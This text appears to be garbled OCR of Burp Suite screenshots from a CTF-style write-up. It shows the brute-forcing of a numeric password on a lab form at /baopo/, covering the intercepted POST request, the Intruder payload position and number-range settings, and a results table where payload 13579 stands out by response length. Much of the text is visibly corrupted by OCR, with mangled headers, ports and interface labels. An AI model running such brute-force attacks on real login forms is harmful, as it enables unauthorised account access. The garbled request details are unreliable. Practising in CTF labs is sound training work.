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W Burp Suite Professional v1.7.31 - Temporary Project - licensed to surferxyz - X
Burp Intruder Repeater Window Help
Target | Froxy | Spider | Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options I User options | Alerts
J intercept. T HTTP history I WebSockets history ]’ Options ]
@ Request to hitp://123.206.87.240:3002
[ Forward J l Drop J [ Intercept is on W Action == ?
Raw | Params | Headers | Hex
POST /baopo/?ves HTTP/L.L "
Host: 123.206.87.240:83002 ™
User-Agent Mozilla/5.0 (Windows NT 10.0; Winb4; x64; nv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/htrml application/shtrl+xml application/xml;qg=09+/+ g=0.8
Accept—Langu_age zh—CN,zh‘q:OB‘zh—T‘u’V‘q:O Tzh-HK.g=05en Send to Spider
Accept-Encading: gzip, deflate 7 i
Referer: http://123.206.87.240:8002/baopo/ o anace s
Content-Tvpe: application/«-www-form-urlencoded
Content-Length: & Send to Repeater CirlsR
Connection: close Send to Sequencer
Upgrade-Insecure-Requests: 1 Send to Comparer
pwd=1 Send to Decoder
Reguest in browser >
Engagement tools >
Change request method
Change body encoding
Copy URL
Copy as curl command
Copy to file
Paste from file
Save item
Don't intercept requests »
Do intercept »
C L3
URL-encode as you type
Paste ClrlsV -
S Message editor help ¥
liJ l;J l;J l;J Proxy interception help 0 maiches
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W Burp Suite Professional v1.7.31 - Temporary Project - licensed to surferxyz — X

Burp Intruder Repeater Window Help

Target | Proxy | Spider T Scanner Ihtruder T Repeater T Sequencer I Decoder T Comparer T Extender T Project options T User options | Alerts

1= [2= |8 x |.

Target | Positions | Payloads | Options

@ Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: l Sniper

POST /baopo/?ves HTTR/L.L

Host: 123.206.87.240:8002

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wined; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html application/xhtml+xml application/xml;q=0.9*/*,q=0.8

Accept-Language: zh-CM zh;q=0.8zh-TW,q=0.7zh-HK;g=05en-US,q=03,en,q=0.2
Accept-Encoding: gzip, deflate

Referer: http'//123 206 87 240:8002/baopo/

Content-Type: application/x-www-form -urlencoded

Content-Length: 5

Connection: close
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‘1 payload postion Length: 499
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W Burp Suite Professional v1.7.31 - Temporary Project - licensed to surfengz - X

Burp Intruder Repeater Window Help

Target | Proxy | Spider IScanner Tmu!et T Repeater TSequenoer IDeouder Tcumparer TExtender I Project options. T User options | Alerts

1= 2= |3 x |.

Target | Positions | Payloads | Options

@ Payload Sets

different ways.

Payload set. | 1 v Payload count. 90,000

Payload type: Reguest count: 90,000

Payload Options [Numbers]

=

This payload type generates numeric payleads within a given range and in a specified format.

Number range

Type: @ Sequential () Random
— om -
From 000 R EE
 —
— - o
To: oogoy < EEFREHE
Step: 1 Th— .
g — Fihn—
How many:

Number format

Base: @® Decimal () Hex

Min integer digits:

Max integer digits:

Min fraction digits:

Max fraction digits:

K
Start attack

“ou can define one or more paylead sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in

Start attackBI ], iCfF#&LengthkfF, & 2F HBBRNEH
BHIEK, FEMAT

B! Intruder attack 5

Attack Save Columns

JM T Target T Positions T Payloads T Options ]

‘ Fitter: Showing all tems

.Q|

Request | Payload Status | Error | Timeout | Length 1| Comment
3580 [ 13579 200 O O 248
0 200 O 0 1327
1 10000 200 O 0 1327
3 10002 200 O 0 1327
2 10001 200 O 0 1327
4 10003 200 O 0 1327
5 10004 200 O 0 1327
6 10005 200 O 0 1327
8 10007 200 O 0 1327
10 10008 200 O 0 1327
7 10006 200 O 0 1327
9 10008 200 O 0 1327
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J Raw T Params T Headers T Hex ]

FOST /baopo/?ves HTTR/1.1
Host: 123.206.87.240:8002

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wingd =64, nv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/htrl application/=htrml+xml application/=ml;q=0.9*/*q=08
Accept-Language: zh-CMzh,g=08zh-TW;q=07 zh-HK;q=05en-U5q=0.23en;q=0.2

Accept-Encoding: gzip, deflate

Referer: hittp://123.206.87. 240:8002/'baopo/
Content-Type: application/-www-forrn-urlencoded
Content-Length: 9

Connection: close

Upgrade-Insecure-Requests: 1
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